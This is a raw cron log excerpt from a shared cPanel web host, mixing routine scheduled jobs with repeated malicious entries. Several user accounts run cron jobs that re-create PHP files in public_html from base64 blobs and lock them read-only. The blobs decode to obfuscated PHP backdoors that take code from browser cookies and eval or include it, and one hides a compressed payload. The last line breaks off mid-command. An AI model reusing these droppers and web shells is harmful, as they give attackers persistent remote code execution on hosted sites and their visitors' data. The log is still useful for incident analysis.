Jun  7 12:00:01 medusa CROND[9619]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:00:01 medusa CROND[9621]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Jun  7 12:00:01 medusa CROND[9625]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Jun  7 12:00:01 medusa CROND[9628]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 12:00:01 medusa CROND[9611]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 12:00:01 medusa CROND[9630]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:00:01 medusa CROND[9614]: (root) CMD (find /var/cpanel/php/sessions -type f -mtime +1 -delete)
Jun  7 12:01:02 medusa CROND[11383]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:01:02 medusa CROND[11384]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 12:01:02 medusa CROND[11385]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 12:01:02 medusa CROND[11386]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 12:01:02 medusa CROND[11387]: (root) CMD (run-parts /etc/cron.hourly)
Jun  7 12:01:02 medusa CROND[11391]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 12:01:02 medusa CROND[11392]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:01:02 medusa CROND[11393]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:01:02 medusa CROND[11395]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:01:02 medusa CROND[11397]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:01:02 medusa CROND[11399]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 12:01:02 medusa CROND[11401]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 12:01:02 medusa CROND[11403]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 12:01:02 medusa CROND[11404]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 12:01:02 medusa run-parts(/etc/cron.hourly)[11387]: starting 0anacron
Jun  7 12:01:02 medusa run-parts(/etc/cron.hourly)[11468]: finished 0anacron
Jun  7 12:02:02 medusa CROND[13174]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:02:02 medusa CROND[13175]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 12:02:02 medusa CROND[13176]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 12:02:02 medusa CROND[13177]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 12:02:02 medusa CROND[13178]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 12:02:02 medusa CROND[13181]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 12:02:02 medusa CROND[13182]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 12:02:02 medusa CROND[13183]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:02:02 medusa CROND[13185]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 12:02:02 medusa CROND[13186]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 12:02:02 medusa CROND[13196]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:02:02 medusa CROND[13198]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:02:02 medusa CROND[13199]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo 